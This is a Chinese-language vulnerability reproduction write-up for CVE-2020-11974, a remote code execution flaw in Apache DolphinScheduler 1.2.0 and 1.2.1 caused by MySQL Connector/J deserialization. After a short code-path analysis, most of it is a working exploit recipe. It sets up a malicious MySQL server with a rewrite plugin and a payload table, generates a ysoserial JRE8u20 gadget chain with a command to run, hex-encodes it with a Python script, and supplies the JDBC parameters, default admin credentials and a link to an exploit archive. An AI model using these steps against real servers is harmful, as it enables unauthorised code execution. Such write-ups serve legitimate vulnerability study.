（CVE-2020-11974）Apache DolphinScheduler 远程代码执行漏洞
==========================================================

一、漏洞简介
------------

CVE-2020-11974与mysql
connectorj远程执行代码漏洞有关，在选择mysql作为数据库时，攻击者可通过`jdbc connect`参数输入`{“detectCustomCollations”:true，“ autoDeserialize”:true}`
即可在DolphinScheduler 服务器上远程执行代码

二、漏洞影响
------------

Apache DolphinScheduler = 1.2.0、1.2.1

三、复现过程
------------

### 漏洞分析

看到这个poc的时候

    {"detectCustomCollations":true,"autoDeserialize":true,"serverTimezone":"UTC"}

其实我第一反应就是2019年的blackhat的那个利用但我又不太确定，直到我按照其他师傅复现的19年的blackhat的那个漏洞利用方式来复现成功，仔细分析了一波。我们先看这个创建数据库的接口。当我们点击create之后

![1.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId25.png)

进入该controller

![2.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId26.png)

并调用service层的createDataSource方法

![3.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId27.png)

最终调用DriverManager.getConnection进行连接数据库

![4.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId28.png)

我把这段代码拿出来，有没有很熟悉

    connection = DriverManager.getConnection(datasource.getJdbcUrl(), datasource.getUser(), datasource.getPassword());

![11.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId29.png)

（其实也可以直接用其他师傅之前写的Fake\_Mysql\_Server，我这边就不再去试了。）分析到这里还不够，我们回来看看这个Mysql Connector/j的版本号
5.1.34符合其他师傅复现的那个洞的版本号

![5.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId30.png)

除此以外，发现yso的利用链跟commons-collections的版本号也是3.2.2也不符合，一开始想着去寻找其他的利用链路，后来参考了下fnmsd师傅的文章发现，已经找到了利用链，那就是直接复现这个洞就好了

![6.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId31.png)

跟进
DriverManager.getConnection，继续接着上面的连接分析，而当detectCustomCollations设置为true的时候com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

![7.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId32.png)

跟进后

![8.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId33.png)

最终进入到getObject

![9.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId34.png)

最终反序列化我们传入的payload

![10.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId35.png)

### 漏洞复现

-   配置mysql

#### 1. 安装rewrite插件

以下安装方式任选其一

##### 【任选】编译插件

下载mysql-5.7.28源码到/root/mysql-5.7.28，`https://launchpadlibrarian.net/451650638/mysql-5.7_5.7.28.orig.tar.gz`

       gcc -shared -Wall -fPIC -o /usr/lib/mysql/plugin/rewrite_example.so rewrite_example.cc  -I/root/mysql-5.7.28/include $(mysql_config --cflags) $(mysql_config --libmysqld-libs) -DMYSQL_DYNAMIC_PLUGIN -lmysqlservices

##### 【任选】直接使用本git仓库中的rewrite\_example.so

复制rewrite\_example.so到/usr/lib/mysql/plugin/rewrite\_example.so即可。

> rewrite\_example.so在Ubuntu16.04编译，如安装时出现问题请自行编译。

#### 2. 安装插件，建表，插入二进制数据

安装插件

    INSTALL PLUGIN rewrite_example SONAME 'rewrite_example.so';

建表

1.  创建数据库：codeplutos，请自行创建
2.  建表sql如下

```{=html}
<!-- -->
```
    SET NAMES utf8mb4;
    SET FOREIGN_KEY_CHECKS = 0;

    -- ----------------------------
    -- Table structure for payload
    -- ----------------------------
    DROP TABLE IF EXISTS `payload`;
    CREATE TABLE `payload` (
      `COLLATION_NAME` varchar(255) DEFAULT NULL,
      `CHARACTER_SET_NAME` blob,
      `ID` int(5) DEFAULT NULL,
      `IS_DEFAULT` varchar(255) DEFAULT NULL,
      `IS_COMPILED` varchar(255) DEFAULT NULL,
      `SORTLEN` int(5) DEFAULT NULL
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8;

    -- ----------------------------
    -- Records of payload
    -- ----------------------------
    BEGIN;
    INSERT INTO `payload` VALUES ('1big5_chinese_ci', 0x01, 1, 'Yes', 'Yes', 1);
    COMMIT;

    SET FOREIGN_KEY_CHECKS = 1;

生成payload

首先ysoserial生成payload（我这里直接用fnmsd师傅改的改的ysoserial.jar)

    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRE8u20 "touch /tmp/1.txt" > t

`touch /tmp/1.txt`
这个替换成自己想要执行的命令，在同个目录下用这个py脚本进行转码生成payload字符

    import os
    import binascii
    with open("t", 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()))
            print payload_content

![1.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId41.png)

写入数据库

    set @a=0x这里修改为你的payload；
    update codeplutos.payload set character_set_name = @a;

默认用户名密码登陆

`admin/dolphinscheduler123`

![2.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId42.png)

点击添加数据库

![3.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId43.png)

填入信息，点击create（而不是connect，我在这里踩过坑）

![4.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId44.png)

复现成功，创建了一个1.txt

![5.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId45.png)

#### 上述中的poc下载地址

`https://download.0-sec.org/Web安全/Apache DolphinScheduler/CVE-2020-11974/DolphinschedulerExploit-master.zip`

参考链接
--------

> https://xz.aliyun.com/t/8304
